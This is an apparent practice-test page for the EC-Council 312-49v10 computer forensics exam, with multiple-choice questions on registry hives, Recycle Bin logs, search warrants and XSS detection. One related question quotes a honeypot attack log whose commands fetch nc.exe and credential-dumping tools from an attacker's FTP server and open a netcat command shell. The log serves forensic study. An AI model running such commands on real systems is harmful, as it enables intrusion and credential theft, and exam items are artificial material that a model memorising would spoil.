Home / ECCouncil / 312-49v10

ECCouncil 312-49v10 Practice Test - Questions Answers, Page 49

Question list

List of questions

Question 481

(0)

While analyzing a hard disk, the investigator finds that the file system does not use UEFI-based interface. Which of the following operating systems is present on the hard disk?

Question 482

(0)

In which registry does the system store the Microsoft security IDs?

Question 483

(0)

An investigator has extracted the device descriptor for a 1GB thumb drive that looks like: Disk&Ven_Best_Buy&Prod_Geek_Squad_U3&Rev_6.15. What does the "Geek_Squad" part represent?

Question 484

(0)

Which of the following Perl scripts will help an investigator to access the executable image of a process?

Question 485

(0)

Which of the following attack uses HTML tags like ?

Question 486

(0)

Examination of a computer by a technically unauthorized person will almost always result in:

Question 487

(0)

Adam, a forensic analyst, is preparing VMs for analyzing a malware. Which of the following is NOT a best practice?

Question 488

(0)

The Recycle Bin exists as a metaphor for throwing files away, but it also allows a user to retrieve and restore files. Once the file is moved to the recycle bin, a record is added to the log file th

Question 489

(0)

During an investigation of an XSS attack, the investigator comes across the term "[a-zA-Z0-9\%]+" in analyzed evidence details. What is the expression used for?

Question 490

(0)

Which among the following search warrants allows the first responder to search and seize the victim's computer components such as hardware, software, storage devices, and documentation?

Related questions

Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?

In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?

William is examining a log entry that reads 192.168.0.1 - - [18/Jan/2020:12:42:29 +0000) "GET / HTTP/1.1" 200 1861. Which of the following logs does the log entry belong to?

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?

An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?

Malware analysis can be conducted in various manners. An investigator gathers a suspicious executable file and uploads It to VirusTotal in order to confirm whether the file Is malicious, provide information about Its functionality, and provide Information that will allow to produce simple network signatures. What type of malware analysis was performed here?

Question 481

While analyzing a hard disk, the investigator finds that the file system does not use UEFI-based interface. Which of the following operating systems is present on the hard disk?

Windows 10

Windows 8

Windows 7

Windows 8.1

Show Answer Comment (0)

Question 482

In which registry does the system store the Microsoft security IDs?

HKEY_CLASSES_ROOT (HKCR)

HKEY_CURRENT_CONFIG (HKCC)

HKEY_CURRENT_USER (HKCU)

HKEY_LOCAL_MACHINE (HKLM)

Show Answer Comment (0)

Question 483

An investigator has extracted the device descriptor for a 1GB thumb drive that looks like:

Disk&Ven_Best_Buy&Prod_Geek_Squad_U3&Rev_6.15. What does the "Geek_Squad" part represent?

Product description

Manufacturer Details

Developer description

Software or OS used

Show Answer Comment (0)

Question 484

Which of the following Perl scripts will help an investigator to access the executable image of a process?

Lspd.pl

Lpsi.pl

Lspm.pl

Lspi.pl

Show Answer Comment (0)

Question 485

Which of the following attack uses HTML tags like ?

Phishing

XSS attack

SQL injection

Spam

Show Answer Comment (0)

Question 486

Examination of a computer by a technically unauthorized person will almost always result in:

Rendering any evidence found inadmissible in a court of law

Completely accurate results of the examination

The chain of custody being fully maintained

Rendering any evidence found admissible in a court of law

Show Answer Comment (0)

Question 487

Adam, a forensic analyst, is preparing VMs for analyzing a malware. Which of the following is NOT a best practice?

Isolating the host device

Installing malware analysis tools

Using network simulation tools

Enabling shared folders

Show Answer Comment (0)

The Recycle Bin exists as a metaphor for throwing files away, but it also allows a user to retrieve and restore files. Once the file is moved to the recycle bin, a record is added to the log file that exists in the Recycle Bin. Which of the following files contains records that correspond to each deleted file in the Recycle Bin?

INFO2

INFO1

LOGINFO1

LOGINFO2

Show Answer Comment (0)

Question 489

During an investigation of an XSS attack, the investigator comes across the term "[a-zA-Z0-9\%]+" in analyzed evidence details. What is the expression used for?

Checks for upper and lower-case alphanumeric string inside the tag, or its hex representation

Checks for forward slash used in HTML closing tags, its hex or double-encoded hex equivalent

Checks for opening angle bracket, its hex or double-encoded hex equivalent

Checks for closing angle bracket, hex or double-encoded hex equivalent

Show Answer Comment (0)

Question 490

Which among the following search warrants allows the first responder to search and seize the victim's computer components such as hardware, software, storage devices, and documentation?

John Doe Search Warrant

Citizen Informant Search Warrant

Electronic Storage Device Search Warrant

Service Provider Search Warrant

Show Answer Comment (0)

Total 704 questions

47 48 49 50 51

Go to page: of 71